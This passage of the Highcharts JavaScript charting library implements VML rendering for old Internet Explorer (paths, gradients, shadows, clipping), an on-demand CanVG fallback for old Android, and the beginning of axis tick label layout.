// but it can probably be implemented for Firefox 3.5+ on user request. FF3.5+
// has support for CSS3 transform. The getBBox method also needs to be updated
// to compensate for the rotation, like it currently does for SVG.
// Test case: http://jsfiddle.net/highcharts/Ybt44/
var rotation = this.rotation,
costheta = mathCos(rotation * deg2rad),
sintheta = mathSin(rotation * deg2rad);
css(this.element, {
filter: rotation ? ['progid:DXImageTransform.Microsoft.Matrix(M11=', costheta,
', M12=', -sintheta, ', M21=', sintheta, ', M22=', costheta,
', sizingMethod=\'auto expand\')'].join('') : NONE
});
},
/**
* Get the positioning correction for the span after rotating.
*/
getSpanCorrection: function (width, baseline, alignCorrection, rotation, align) {
var costheta = rotation ? mathCos(rotation * deg2rad) : 1,
sintheta = rotation ? mathSin(rotation * deg2rad) : 0,
height = pick(this.elemHeight, this.element.offsetHeight),
quad,
nonLeft = align && align !== 'left';
// correct x and y
this.xCorr = costheta < 0 && -width;
this.yCorr = sintheta < 0 && -height;
// correct for baseline and corners spilling out after rotation
quad = costheta * sintheta < 0;
this.xCorr += sintheta * baseline * (quad ? 1 - alignCorrection : alignCorrection);
this.yCorr -= costheta * baseline * (rotation ? (quad ? alignCorrection : 1 - alignCorrection) : 1);
// correct for the length/height of the text
if (nonLeft) {
this.xCorr -= width * alignCorrection * (costheta < 0 ? -1 : 1);
if (rotation) {
this.yCorr -= height * alignCorrection * (sintheta < 0 ? -1 : 1);
}
css(this.element, {
textAlign: align
});
}
},
/**
* Converts a subset of an SVG path definition to its VML counterpart. Takes an array
* as the parameter and returns a string.
*/
pathToVML: function (value) {
// convert paths
var i = value.length,
path = [];
while (i--) {
// Multiply by 10 to allow subpixel precision.
// Substracting half a pixel seems to make the coordinates
// align with SVG, but this hasn't been tested thoroughly
if (isNumber(value[i])) {
path[i] = mathRound(value[i] * 10) - 5;
} else if (value[i] === 'Z') { // close the path
path[i] = 'x';
} else {
path[i] = value[i];
// When the start X and end X coordinates of an arc are too close,
// they are rounded to the same value above. In this case, substract or
// add 1 from the end X and Y positions. #186, #760, #1371, #1410.
if (value.isArc && (value[i] === 'wa' || value[i] === 'at')) {
// Start and end X
if (path[i + 5] === path[i + 7]) {
path[i + 7] += value[i + 7] > value[i + 5] ? 1 : -1;
}
// Start and end Y
if (path[i + 6] === path[i + 8]) {
path[i + 8] += value[i + 8] > value[i + 6] ? 1 : -1;
}
}
}
}
// Loop up again to handle path shortcuts (#2132)
/*while (i++ < path.length) {
if (path[i] === 'H') { // horizontal line to
path[i] = 'L';
path.splice(i + 2, 0, path[i - 1]);
} else if (path[i] === 'V') { // vertical line to
path[i] = 'L';
path.splice(i + 1, 0, path[i - 2]);
}
}*/
return path.join(' ') || 'x';
},
/**
* Get or set attributes
*/
attr: function (hash, val) {
var wrapper = this,
key,
value,
i,
result,
element = wrapper.element || {},
elemStyle = element.style,
nodeName = element.nodeName,
renderer = wrapper.renderer,
symbolName = wrapper.symbolName,
hasSetSymbolSize,
shadows = wrapper.shadows,
skipAttr,
attrSetters = wrapper.attrSetters,
ret = wrapper;
// single key-value pair
if (isString(hash) && defined(val)) {
key = hash;
hash = {};
hash[key] = val;
}
// used as a getter, val is undefined
if (isString(hash)) {
key = hash;
if (key === 'strokeWidth' || key === 'stroke-width') {
ret = wrapper.strokeweight;
} else {
ret = wrapper[key];
}
// setter
} else {
for (key in hash) {
value = hash[key];
skipAttr = false;
// check for a specific attribute setter
result = attrSetters[key] && attrSetters[key].call(wrapper, value, key);
if (result !== false && value !== null) { // #620
if (result !== UNDEFINED) {
value = result; // the attribute setter has returned a new value to set
}
// prepare paths
// symbols
if (symbolName && /^(x|y|r|start|end|width|height|innerR|anchorX|anchorY)/.test(key)) {
// if one of the symbol size affecting parameters are changed,
// check all the others only once for each call to an element's
// .attr() method
if (!hasSetSymbolSize) {
wrapper.symbolAttr(hash);
hasSetSymbolSize = true;
}
skipAttr = true;
} else if (key === 'd') {
value = value || [];
wrapper.d = value.join(' '); // used in getter for animation
element.path = value = wrapper.pathToVML(value);
// update shadows
if (shadows) {
i = shadows.length;
while (i--) {
shadows[i].path = shadows[i].cutOff ? this.cutOffPath(value, shadows[i].cutOff) : value;
}
}
skipAttr = true;
// handle visibility
} else if (key === 'visibility') {
// Handle inherited visibility
if (value === 'inherit') {
value = VISIBLE;
}
// Let the shadow follow the main element
if (shadows) {
i = shadows.length;
while (i--) {
shadows[i].style[key] = value;
}
}
// Instead of toggling the visibility CSS property, move the div out of the viewport.
// This works around #61 and #586
if (nodeName === 'DIV') {
value = value === HIDDEN ? '-999em' : 0;
// In order to redraw, IE7 needs the div to be visible when tucked away
// outside the viewport. So the visibility is actually opposite of
// the expected value. This applies to the tooltip only.
if (!docMode8) {
elemStyle[key] = value ? VISIBLE : HIDDEN;
}
key = 'top';
}
elemStyle[key] = value;
skipAttr = true;
// directly mapped to css
} else if (key === 'zIndex') {
if (value) {
elemStyle[key] = value;
}
skipAttr = true;
// x, y, width, height
} else if (inArray(key, ['x', 'y', 'width', 'height']) !== -1) {
wrapper[key] = value; // used in getter
if (key === 'x' || key === 'y') {
key = { x: 'left', y: 'top' }[key];
} else {
value = mathMax(0, value); // don't set width or height below zero (#311)
}
// clipping rectangle special
if (wrapper.updateClipping) {
wrapper[key] = value; // the key is now 'left' or 'top' for 'x' and 'y'
wrapper.updateClipping();
} else {
// normal
elemStyle[key] = value;
}
skipAttr = true;
// class name
} else if (key === 'class' && nodeName === 'DIV') {
// IE8 Standards mode has problems retrieving the className
element.className = value;
// stroke
} else if (key === 'stroke') {
value = renderer.color(value, element, key);
key = 'strokecolor';
// stroke width
} else if (key === 'stroke-width' || key === 'strokeWidth') {
element.stroked = value ? true : false;
key = 'strokeweight';
wrapper[key] = value; // used in getter, issue #113
if (isNumber(value)) {
value += PX;
}
// dashStyle
} else if (key === 'dashstyle') {
var strokeElem = element.getElementsByTagName('stroke')[0] ||
createElement(renderer.prepVML(['<stroke/>']), null, null, element);
strokeElem[key] = value || 'solid';
wrapper.dashstyle = value; /* because changing stroke-width will change the dash length
and cause an epileptic effect */
skipAttr = true;
// fill
} else if (key === 'fill') {
if (nodeName === 'SPAN') { // text color
elemStyle.color = value;
} else if (nodeName !== 'IMG') { // #1336
element.filled = value !== NONE ? true : false;
value = renderer.color(value, element, key, wrapper);
key = 'fillcolor';
}
// opacity: don't bother - animation is too slow and filters introduce artifacts
} else if (key === 'opacity') {
/*css(element, {
opacity: value
});*/
skipAttr = true;
// rotation on VML elements
} else if (nodeName === 'shape' && key === 'rotation') {
wrapper[key] = element.style[key] = value; // style is for #1873
// Correction for the 1x1 size of the shape container. Used in gauge needles.
element.style.left = -mathRound(mathSin(value * deg2rad) + 1) + PX;
element.style.top = mathRound(mathCos(value * deg2rad)) + PX;
// translation for animation
} else if (key === 'translateX' || key === 'translateY' || key === 'rotation') {
wrapper[key] = value;
wrapper.updateTransform();
skipAttr = true;
}
if (!skipAttr) {
if (docMode8) { // IE8 setAttribute bug
element[key] = value;
} else {
attr(element, key, value);
}
}
}
}
}
return ret;
},
/**
* Set the element's clipping to a predefined rectangle
*
* @param {String} id The id of the clip rectangle
*/
clip: function (clipRect) {
var wrapper = this,
clipMembers,
cssRet;
if (clipRect) {
clipMembers = clipRect.members;
erase(clipMembers, wrapper); // Ensure unique list of elements (#1258)
clipMembers.push(wrapper);
wrapper.destroyClip = function () {
erase(clipMembers, wrapper);
};
cssRet = clipRect.getCSS(wrapper);
} else {
if (wrapper.destroyClip) {
wrapper.destroyClip();
}
cssRet = { clip: docMode8 ? 'inherit' : 'rect(auto)' }; // #1214
}
return wrapper.css(cssRet);
},
/**
* Set styles for the element
* @param {Object} styles
*/
css: SVGElement.prototype.htmlCss,
/**
* Removes a child either by removeChild or move to garbageBin.
* Issue 490; in VML removeChild results in Orphaned nodes according to sIEve, discardElement does not.
*/
safeRemoveChild: function (element) {
// discardElement will detach the node from its parent before attaching it
// to the garbage bin. Therefore it is important that the node is attached and have parent.
if (element.parentNode) {
discardElement(element);
}
},
/**
* Extend element.destroy by removing it from the clip members array
*/
destroy: function () {
if (this.destroyClip) {
this.destroyClip();
}
return SVGElement.prototype.destroy.apply(this);
},
/**
* Add an event listener. VML override for normalizing event parameters.
* @param {String} eventType
* @param {Function} handler
*/
on: function (eventType, handler) {
// simplest possible event model for internal use
this.element['on' + eventType] = function () {
var evt = win.event;
evt.target = evt.srcElement;
handler(evt);
};
return this;
},
/**
* In stacked columns, cut off the shadows so that they don't overlap
*/
cutOffPath: function (path, length) {
var len;
path = path.split(/[ ,]/);
len = path.length;
if (len === 9 || len === 11) {
path[len - 4] = path[len - 2] = pInt(path[len - 2]) - 10 * length;
}
return path.join(' ');
},
/**
* Apply a drop shadow by copying elements and giving them different strokes
* @param {Boolean|Object} shadowOptions
*/
shadow: function (shadowOptions, group, cutOff) {
var shadows = [],
i,
element = this.element,
renderer = this.renderer,
shadow,
elemStyle = element.style,
markup,
path = element.path,
strokeWidth,
modifiedPath,
shadowWidth,
shadowElementOpacity;
// some times empty paths are not strings
if (path && typeof path.value !== 'string') {
path = 'x';
}
modifiedPath = path;
if (shadowOptions) {
shadowWidth = pick(shadowOptions.width, 3);
shadowElementOpacity = (shadowOptions.opacity || 0.15) / shadowWidth;
for (i = 1; i <= 3; i++) {
strokeWidth = (shadowWidth * 2) + 1 - (2 * i);
// Cut off shadows for stacked column items
if (cutOff) {
modifiedPath = this.cutOffPath(path.value, strokeWidth + 0.5);
}
markup = ['<shape isShadow="true" strokeweight="', strokeWidth,
'" filled="false" path="', modifiedPath,
'" coordsize="10 10" style="', element.style.cssText, '" />'];
shadow = createElement(renderer.prepVML(markup),
null, {
left: pInt(elemStyle.left) + pick(shadowOptions.offsetX, 1),
top: pInt(elemStyle.top) + pick(shadowOptions.offsetY, 1)
}
);
if (cutOff) {
shadow.cutOff = strokeWidth + 1;
}
// apply the opacity
markup = ['<stroke color="', shadowOptions.color || 'black', '" opacity="', shadowElementOpacity * i, '"/>'];
createElement(renderer.prepVML(markup), null, null, shadow);
// insert it
if (group) {
group.element.appendChild(shadow);
} else {
element.parentNode.insertBefore(shadow, element);
}
// record it
shadows.push(shadow);
}
this.shadows = shadows;
}
return this;
}
};
VMLElement = extendClass(SVGElement, VMLElement);
/**
* The VML renderer
*/
var VMLRendererExtension = { // inherit SVGRenderer
Element: VMLElement,
isIE8: userAgent.indexOf('MSIE 8.0') > -1,
/**
* Initialize the VMLRenderer
* @param {Object} container
* @param {Number} width
* @param {Number} height
*/
init: function (container, width, height, style) {
var renderer = this,
boxWrapper,
box,
css;
renderer.alignedObjects = [];
boxWrapper = renderer.createElement(DIV)
.css(extend(this.getStyle(style), { position: RELATIVE}));
box = boxWrapper.element;
container.appendChild(boxWrapper.element);
// generate the containing box
renderer.isVML = true;
renderer.box = box;
renderer.boxWrapper = boxWrapper;
renderer.cache = {};
renderer.setSize(width, height, false);
// The only way to make IE6 and IE7 print is to use a global namespace. However,
// with IE8 the only way to make the dynamic shapes visible in screen and print mode
// seems to be to add the xmlns attribute and the behaviour style inline.
if (!doc.namespaces.hcv) {
doc.namespaces.add('hcv', 'urn:schemas-microsoft-com:vml');
// Setup default CSS (#2153, #2368, #2384)
css = 'hcv\\:fill, hcv\\:path, hcv\\:shape, hcv\\:stroke' +
'{ behavior:url(#default#VML); display: inline-block; } ';
try {
doc.createStyleSheet().cssText = css;
} catch (e) {
doc.styleSheets[0].cssText += css;
}
}
},
/**
* Detect whether the renderer is hidden. This happens when one of the parent elements
* has display: none
*/
isHidden: function () {
return !this.box.offsetWidth;
},
/**
* Define a clipping rectangle. In VML it is accomplished by storing the values
* for setting the CSS style to all associated members.
*
* @param {Number} x
* @param {Number} y
* @param {Number} width
* @param {Number} height
*/
clipRect: function (x, y, width, height) {
// create a dummy element
var clipRect = this.createElement(),
isObj = isObject(x);
// mimic a rectangle with its style object for automatic updating in attr
return extend(clipRect, {
members: [],
left: (isObj ? x.x : x) + 1,
top: (isObj ? x.y : y) + 1,
width: (isObj ? x.width : width) - 1,
height: (isObj ? x.height : height) - 1,
getCSS: function (wrapper) {
var element = wrapper.element,
nodeName = element.nodeName,
isShape = nodeName === 'shape',
inverted = wrapper.inverted,
rect = this,
top = rect.top - (isShape ? element.offsetTop : 0),
left = rect.left,
right = left + rect.width,
bottom = top + rect.height,
ret = {
clip: 'rect(' +
mathRound(inverted ? left : top) + 'px,' +
mathRound(inverted ? bottom : right) + 'px,' +
mathRound(inverted ? right : bottom) + 'px,' +
mathRound(inverted ? top : left) + 'px)'
};
// issue 74 workaround
if (!inverted && docMode8 && nodeName === 'DIV') {
extend(ret, {
width: right + PX,
height: bottom + PX
});
}
return ret;
},
// used in attr and animation to update the clipping of all members
updateClipping: function () {
each(clipRect.members, function (member) {
member.css(clipRect.getCSS(member));
});
}
});
},
/**
* Take a color and return it if it's a string, make it a gradient if it's a
* gradient configuration object, and apply opacity.
*
* @param {Object} color The color or config object
*/
color: function (color, elem, prop, wrapper) {
var renderer = this,
colorObject,
regexRgba = /^rgba/,
markup,
fillType,
ret = NONE;
// Check for linear or radial gradient
if (color && color.linearGradient) {
fillType = 'gradient';
} else if (color && color.radialGradient) {
fillType = 'pattern';
}
if (fillType) {
var stopColor,
stopOpacity,
gradient = color.linearGradient || color.radialGradient,
x1,
y1,
x2,
y2,
opacity1,
opacity2,
color1,
color2,
fillAttr = '',
stops = color.stops,
firstStop,
lastStop,
colors = [],
addFillNode = function () {
// Add the fill subnode. When colors attribute is used, the meanings of opacity and o:opacity2
// are reversed.
markup = ['<fill colors="' + colors.join(',') + '" opacity="', opacity2, '" o:opacity2="', opacity1,
'" type="', fillType, '" ', fillAttr, 'focus="100%" method="any" />'];
createElement(renderer.prepVML(markup), null, null, elem);
};
// Extend from 0 to 1
firstStop = stops[0];
lastStop = stops[stops.length - 1];
if (firstStop[0] > 0) {
stops.unshift([
0,
firstStop[1]
]);
}
if (lastStop[0] < 1) {
stops.push([
1,
lastStop[1]
]);
}
// Compute the stops
each(stops, function (stop, i) {
if (regexRgba.test(stop[1])) {
colorObject = Color(stop[1]);
stopColor = colorObject.get('rgb');
stopOpacity = colorObject.get('a');
} else {
stopColor = stop[1];
stopOpacity = 1;
}
// Build the color attribute
colors.push((stop[0] * 100) + '% ' + stopColor);
// Only start and end opacities are allowed, so we use the first and the last
if (!i) {
opacity1 = stopOpacity;
color2 = stopColor;
} else {
opacity2 = stopOpacity;
color1 = stopColor;
}
});
// Apply the gradient to fills only.
if (prop === 'fill') {
// Handle linear gradient angle
if (fillType === 'gradient') {
x1 = gradient.x1 || gradient[0] || 0;
y1 = gradient.y1 || gradient[1] || 0;
x2 = gradient.x2 || gradient[2] || 0;
y2 = gradient.y2 || gradient[3] || 0;
fillAttr = 'angle="' + (90 - math.atan(
(y2 - y1) / // y vector
(x2 - x1) // x vector
) * 180 / mathPI) + '"';
addFillNode();
// Radial (circular) gradient
} else {
var r = gradient.r,
sizex = r * 2,
sizey = r * 2,
cx = gradient.cx,
cy = gradient.cy,
radialReference = elem.radialReference,
bBox,
applyRadialGradient = function () {
if (radialReference) {
bBox = wrapper.getBBox();
cx += (radialReference[0] - bBox.x) / bBox.width - 0.5;
cy += (radialReference[1] - bBox.y) / bBox.height - 0.5;
sizex *= radialReference[2] / bBox.width;
sizey *= radialReference[2] / bBox.height;
}
fillAttr = 'src="' + defaultOptions.global.VMLRadialGradientURL + '" ' +
'size="' + sizex + ',' + sizey + '" ' +
'origin="0.5,0.5" ' +
'position="' + cx + ',' + cy + '" ' +
'color2="' + color2 + '" ';
addFillNode();
};
// Apply radial gradient
if (wrapper.added) {
applyRadialGradient();
} else {
// We need to know the bounding box to get the size and position right
wrapper.onAdd = applyRadialGradient;
}
// The fill element's color attribute is broken in IE8 standards mode, so we
// need to set the parent shape's fillcolor attribute instead.
ret = color1;
}
// Gradients are not supported for VML stroke, return the first color. #722.
} else {
ret = stopColor;
}
// if the color is an rgba color, split it and add a fill node
// to hold the opacity component
} else if (regexRgba.test(color) && elem.tagName !== 'IMG') {
colorObject = Color(color);
markup = ['<', prop, ' opacity="', colorObject.get('a'), '"/>'];
createElement(this.prepVML(markup), null, null, elem);
ret = colorObject.get('rgb');
} else {
var propNodes = elem.getElementsByTagName(prop); // 'stroke' or 'fill' node
if (propNodes.length) {
propNodes[0].opacity = 1;
propNodes[0].type = 'solid';
}
ret = color;
}
return ret;
},
/**
* Take a VML string and prepare it for either IE8 or IE6/IE7.
* @param {Array} markup A string array of the VML markup to prepare
*/
prepVML: function (markup) {
var vmlStyle = 'display:inline-block;behavior:url(#default#VML);',
isIE8 = this.isIE8;
markup = markup.join('');
if (isIE8) { // add xmlns and style inline
markup = markup.replace('/>', ' xmlns="urn:schemas-microsoft-com:vml" />');
if (markup.indexOf('style="') === -1) {
markup = markup.replace('/>', ' style="' + vmlStyle + '" />');
} else {
markup = markup.replace('style="', 'style="' + vmlStyle);
}
} else { // add namespace
markup = markup.replace('<', '<hcv:');
}
return markup;
},
/**
* Create rotated and aligned text
* @param {String} str
* @param {Number} x
* @param {Number} y
*/
text: SVGRenderer.prototype.html,
/**
* Create and return a path element
* @param {Array} path
*/
path: function (path) {
var attr = {
// subpixel precision down to 0.1 (width and height = 1px)
coordsize: '10 10'
};
if (isArray(path)) {
attr.d = path;
} else if (isObject(path)) { // attributes
extend(attr, path);
}
// create the shape
return this.createElement('shape').attr(attr);
},
/**
* Create and return a circle element. In VML circles are implemented as
* shapes, which is faster than v:oval
* @param {Number} x
* @param {Number} y
* @param {Number} r
*/
circle: function (x, y, r) {
var circle = this.symbol('circle');
if (isObject(x)) {
r = x.r;
y = x.y;
x = x.x;
}
circle.isCircle = true; // Causes x and y to mean center (#1682)
circle.r = r;
return circle.attr({ x: x, y: y });
},
/**
* Create a group using an outer div and an inner v:group to allow rotating
* and flipping. A simple v:group would have problems with positioning
* child HTML elements and CSS clip.
*
* @param {String} name The name of the group
*/
g: function (name) {
var wrapper,
attribs;
// set the class name
if (name) {
attribs = { 'className': PREFIX + name, 'class': PREFIX + name };
}
// the div to hold HTML and clipping
wrapper = this.createElement(DIV).attr(attribs);
return wrapper;
},
/**
* VML override to create a regular HTML image
* @param {String} src
* @param {Number} x
* @param {Number} y
* @param {Number} width
* @param {Number} height
*/
image: function (src, x, y, width, height) {
var obj = this.createElement('img')
.attr({ src: src });
if (arguments.length > 1) {
obj.attr({
x: x,
y: y,
width: width,
height: height
});
}
return obj;
},
/**
* For rectangles, VML uses a shape for rect to overcome bugs and rotation problems
*/
createElement: function (nodeName) {
return nodeName === 'rect' ? this.symbol(nodeName) : SVGRenderer.prototype.createElement.call(this, nodeName);
},
/**
* In the VML renderer, each child of an inverted div (group) is inverted
* @param {Object} element
* @param {Object} parentNode
*/
invertChild: function (element, parentNode) {
var ren = this,
parentStyle = parentNode.style,
imgStyle = element.tagName === 'IMG' && element.style; // #1111
css(element, {
flip: 'x',
left: pInt(parentStyle.width) - (imgStyle ? pInt(imgStyle.top) : 1),
top: pInt(parentStyle.height) - (imgStyle ? pInt(imgStyle.left) : 1),
rotation: -90
});
// Recursively invert child elements, needed for nested composite shapes like box plots and error bars. #1680, #1806.
each(element.childNodes, function (child) {
ren.invertChild(child, element);
});
},
/**
* Symbol definitions that override the parent SVG renderer's symbols
*
*/
symbols: {
// VML specific arc function
arc: function (x, y, w, h, options) {
var start = options.start,
end = options.end,
radius = options.r || w || h,
innerRadius = options.innerR,
cosStart = mathCos(start),
sinStart = mathSin(start),
cosEnd = mathCos(end),
sinEnd = mathSin(end),
ret;
if (end - start === 0) { // no angle, don't show it.
return ['x'];
}
ret = [
'wa', // clockwise arc to
x - radius, // left
y - radius, // top
x + radius, // right
y + radius, // bottom
x + radius * cosStart, // start x
y + radius * sinStart, // start y
x + radius * cosEnd, // end x
y + radius * sinEnd // end y
];
if (options.open && !innerRadius) {
ret.push(
'e',
M,
x,// - innerRadius,
y// - innerRadius
);
}
ret.push(
'at', // anti clockwise arc to
x - innerRadius, // left
y - innerRadius, // top
x + innerRadius, // right
y + innerRadius, // bottom
x + innerRadius * cosEnd, // start x
y + innerRadius * sinEnd, // start y
x + innerRadius * cosStart, // end x
y + innerRadius * sinStart, // end y
'x', // finish path
'e' // close
);
ret.isArc = true;
return ret;
},
// Add circle symbol path. This performs significantly faster than v:oval.
circle: function (x, y, w, h, wrapper) {
if (wrapper) {
w = h = 2 * wrapper.r;
}
// Center correction, #1682
if (wrapper && wrapper.isCircle) {
x -= w / 2;
y -= h / 2;
}
// Return the path
return [
'wa', // clockwisearcto
x, // left
y, // top
x + w, // right
y + h, // bottom
x + w, // start x
y + h / 2, // start y
x + w, // end x
y + h / 2, // end y
//'x', // finish path
'e' // close
];
},
/**
* Add rectangle symbol path which eases rotation and omits arcsize problems
* compared to the built-in VML roundrect shape
*
* @param {Number} left Left position
* @param {Number} top Top position
* @param {Number} r Border radius
* @param {Object} options Width and height
*/
rect: function (left, top, width, height, options) {
var right = left + width,
bottom = top + height,
ret,
r;
// No radius, return the more lightweight square
if (!defined(options) || !options.r) {
ret = SVGRenderer.prototype.symbols.square.apply(0, arguments);
// Has radius add arcs for the corners
} else {
r = mathMin(options.r, width, height);
ret = [
M,
left + r, top,
L,
right - r, top,
'wa',
right - 2 * r, top,
right, top + 2 * r,
right - r, top,
right, top + r,
L,
right, bottom - r,
'wa',
right - 2 * r, bottom - 2 * r,
right, bottom,
right, bottom - r,
right - r, bottom,
L,
left + r, bottom,
'wa',
left, bottom - 2 * r,
left + 2 * r, bottom,
left + r, bottom,
left, bottom - r,
L,
left, top + r,
'wa',
left, top,
left + 2 * r, top + 2 * r,
left, top + r,
left + r, top,
'x',
'e'
];
}
return ret;
}
}
};
Highcharts.VMLRenderer = VMLRenderer = function () {
this.init.apply(this, arguments);
};
VMLRenderer.prototype = merge(SVGRenderer.prototype, VMLRendererExtension);
// general renderer
Renderer = VMLRenderer;
}
// This method is used with exporting in old IE, when emulating SVG (see #2314)
SVGRenderer.prototype.measureSpanWidth = function (text, styles) {
var measuringSpan = doc.createElement('span'),
offsetWidth,
textNode = doc.createTextNode(text);
measuringSpan.appendChild(textNode);
css(measuringSpan, styles);
this.box.appendChild(measuringSpan);
offsetWidth = measuringSpan.offsetWidth;
discardElement(measuringSpan); // #2463
return offsetWidth;
};
/* ****************************************************************************
* *
* END OF INTERNET EXPLORER <= 8 SPECIFIC CODE *
* *
*****************************************************************************/
/* ****************************************************************************
* *
* START OF ANDROID < 3 SPECIFIC CODE. THIS CAN BE REMOVED IF YOU'RE NOT *
* TARGETING THAT SYSTEM. *
* *
*****************************************************************************/
var CanVGRenderer,
CanVGController;
if (useCanVG) {
/**
* The CanVGRenderer is empty from start to keep the source footprint small.
* When requested, the CanVGController downloads the rest of the source packaged
* together with the canvg library.
*/
Highcharts.CanVGRenderer = CanVGRenderer = function () {
// Override the global SVG namespace to fake SVG/HTML that accepts CSS
SVG_NS = 'http://www.w3.org/1999/xhtml';
};
/**
* Start with an empty symbols object. This is needed when exporting is used (exporting.src.js will add a few symbols), but
* the implementation from SvgRenderer will not be merged in until first render.
*/
CanVGRenderer.prototype.symbols = {};
/**
* Handles on demand download of canvg rendering support.
*/
CanVGController = (function () {
// List of renderering calls
var deferredRenderCalls = [];
/**
* When downloaded, we are ready to draw deferred charts.
*/
function drawDeferred() {
var callLength = deferredRenderCalls.length,
callIndex;
// Draw all pending render calls
for (callIndex = 0; callIndex < callLength; callIndex++) {
deferredRenderCalls[callIndex]();
}
// Clear the list
deferredRenderCalls = [];
}
return {
push: function (func, scriptLocation) {
// Only get the script once
if (deferredRenderCalls.length === 0) {
getScript(scriptLocation, drawDeferred);
}
// Register render call
deferredRenderCalls.push(func);
}
};
}());
Renderer = CanVGRenderer;
} // end CanVGRenderer
/* ****************************************************************************
* *
* END OF ANDROID < 3 SPECIFIC CODE *
* *
*****************************************************************************/
/**
* The Tick class
*/
function Tick(axis, pos, type, noLabel) {
this.axis = axis;
this.pos = pos;
this.type = type || '';
this.isNew = true;
if (!type && !noLabel) {
this.addLabel();
}
}
Tick.prototype = {
/**
* Write the tick label
*/
addLabel: function () {
var tick = this,
axis = tick.axis,
options = axis.options,
chart = axis.chart,
horiz = axis.horiz,
categories = axis.categories,
names = axis.names,
pos = tick.pos,
labelOptions = options.labels,
str,
tickPositions = axis.tickPositions,
width = (horiz && categories &&
!labelOptions.step && !labelOptions.staggerLines &&
!labelOptions.rotation &&
chart.plotWidth / tickPositions.length) ||
(!horiz && (chart.margin[3] || chart.chartWidth * 0.33)), // #1580, #1931
isFirst = pos === tickPositions[0],
isLast = pos === tickPositions[tickPositions.length - 1],
css,
attr,
value = categories ?
pick(categories[pos], names[pos], pos) :
pos,
label = tick.label,
tickPositionInfo = tickPositions.info,
dateTimeLabelFormat;
// Set the datetime label format. If a higher rank is set for this position, use that. If not,
// use the general format.
if (axis.isDatetimeAxis && tickPositionInfo) {
dateTimeLabelFormat = options.dateTimeLabelFormats[tickPositionInfo.higherRanks[pos] || tickPositionInfo.unitName];
}
// set properties for access in render method
tick.isFirst = isFirst;
tick.isLast = isLast;
// get the string
str = axis.labelFormatter.call({
axis: axis,
chart: chart,
isFirst: isFirst,
isLast: isLast,
dateTimeLabelFormat: dateTimeLabelFormat,
value: axis.isLog ? correctFloat(lin2log(value)) : value
});
// prepare CSS
css = width && { width: mathMax(1, mathRound(width - 2 * (labelOptions.padding || 10))) + PX };
css = extend(css, labelOptions.style);
// first call
if (!defined(label)) {
attr = {
align: axis.labelAlign
};
if (isNumber(labelOptions.rotation)) {
attr.rotation = labelOptions.rotation;
}
if (width && labelOptions.ellipsis) {
attr._clipHeight = axis.len / tickPositions.length;
}
tick.label =
defined(str) && labelOptions.enabled ?
chart.renderer.text(
str,
0,
0,
labelOptions.useHTML
)
.attr(attr)
// without position absolute, IE export sometimes is wrong
.css(css)
.add(axis.labelGroup) :
null;
// update
} else if (label) {
label.attr({
text: str
})
.css(css);
}
},
/**
* Get the offset height or width of the label
*/
getLabelSize: function () {
var label = this.label,
axis = this.axis;
return label ?
label.getBBox()[axis.horiz ? 'height' : 'width'] :
0;
},
/**
* Find how far the labels extend to the right and left of the tick's x position. Used for anti-collision
* detection with overflow logic.
*/
getLabelSides: function () {
var bBox = this.label.getBBox(),
axis = this.axis,
horiz = axis.horiz,
options = axis.options,
labelOptions = options.labels,
size = horiz ? bBox.width : bBox.height,
leftSide = horiz ?
labelOptions.x - size * { left: 0, center: 0.5, right: 1 }[axis.labelAlign] :
0,
rightSide = horiz ?
size + leftSide :
size;
return [leftSide, rightSide];
},
/**
* Handle the label overflow by adjusting the labels to the left and right edge, or
* hide them if they collide into the neighbour label.
*/
handleOverflow: function (index, xy) {
var show = true,
axis = this.axis,
isFirst = this.isFirst,
isLast = this.isLast,
horiz = axis.horiz,
pxPos = horiz ? xy.x : xy.y,
reversed = axis.reversed,
tickPositions = axis.tickPositions,
sides = this.getLabelSides(),
leftSide = sides[0],
rightSide = sides[1],
axisLeft,
axisRight,
neighbour,
neighbourEdge,
line = this.label.line || 0,
labelEdge = axis.labelEdge,
justifyLabel = axis.justifyLabels && (isFirst || isLast),
justifyToPlot;
// Hide it if it now overlaps the neighbour label
if (labelEdge[line] === UNDEFINED || pxPos + leftSide > labelEdge[line]) {
labelEdge[line] = pxPos + rightSide;
} else if (!justifyLabel) {
show = false;
}
if (justifyLabel) {
justifyToPlot = axis.justifyToPlot;
axisLeft = justifyToPlot ? axis.pos : 0;
axisRight = justifyToPlot ? axisLeft + axis.len : axis.chart.chartWidth;
// Find the firsth neighbour on the same line
do {
index += (isFirst ? 1 : -1);
neighbour = axis.ticks[tickPositions[index]];
} while (tickPositions[index] && (!neighbour || neighbour.label.line !== line));
neighbourEdge = neighbour && neighbour.label.xy && neighbour.label.xy.x + neighbour.getLabelSides()[isFirst ? 0 : 1];
if ((isFirst && !reversed) || (isLast && reversed)) {
// Is the label spilling out to the left of the plot area?
if (pxPos + leftSide < axisLeft) {
// Align it to plot left
pxPos = axisLeft - leftSide;
// Hide it if it now overlaps the neighbour label
if (neighbour && pxPos + rightSide > neighbourEdge) {
show = false;
}
}
} else {
// Is the label spilling out to the right of the plot area?
if (pxPos + rightSide > axisRight) {
// Align it to plot right
pxPos = axisRight - rightSide;
// Hide it if it now overlaps the neighbour label
if (neighbour && pxPos + leftSide < neighbourEdge) {
show = false;
}
}
}
// Set the modified x position of the label
xy.x = pxPos;
}
return show;
},
/**
* Get the x and y position for ticks and labels
*/
getPosition: function (horiz, pos, tickmarkOffset, old) {
var axis = this.axis,
chart = axis.chart,
cHeight = (old && chart.oldChartHeight) || chart.chartHeight;
return {
x: horiz ?
axis.translate(pos + tickmarkOffset, null, null, old) + axis.transB :
axis.left + axis.offset + (axis.opposite ? ((old && chart.oldChartWidth) || chart.chartWidth) - axis.right - axis.left : 0),
y: horiz ?
cHeight - axis.bottom + axis.offset - (axis.opposite ? axis.height : 0) :
cHeight - axis.translate(pos + tickmarkOffset, null, null, old) - axis.transB
};
},
/**
* Get the x, y position of the tick label
*/
getLabelPosition: function (x, y, label, horiz, labelOptions, tickmarkOffset, index, step) {
var axis = this.axis,
transA = axis.transA,
reversed = axis.reversed,
staggerLines = axis.staggerLines,
baseline = axis.chart.renderer.fontMetrics(labelOptions.style.fontSize).b,
rotation = labelOptions.rotation;
x = x + labelOptions.x - (tickmarkOffset && horiz ?
tickmarkOffset * transA * (reversed ? -1 : 1) : 0);
y = y + labelOptions.y - (tickmarkOffset && !horiz ?
tickmarkOffset * transA * (reversed ? 1 : -1) : 0);
// Correct for rotation (#1764)
if (rotation && axis.side === 2) {
y -= baseline - baseline * mathCos(rotation * deg2rad);
}
// Vertically centered
if (!defined(labelOptions.y) && !rotation) { // #1951
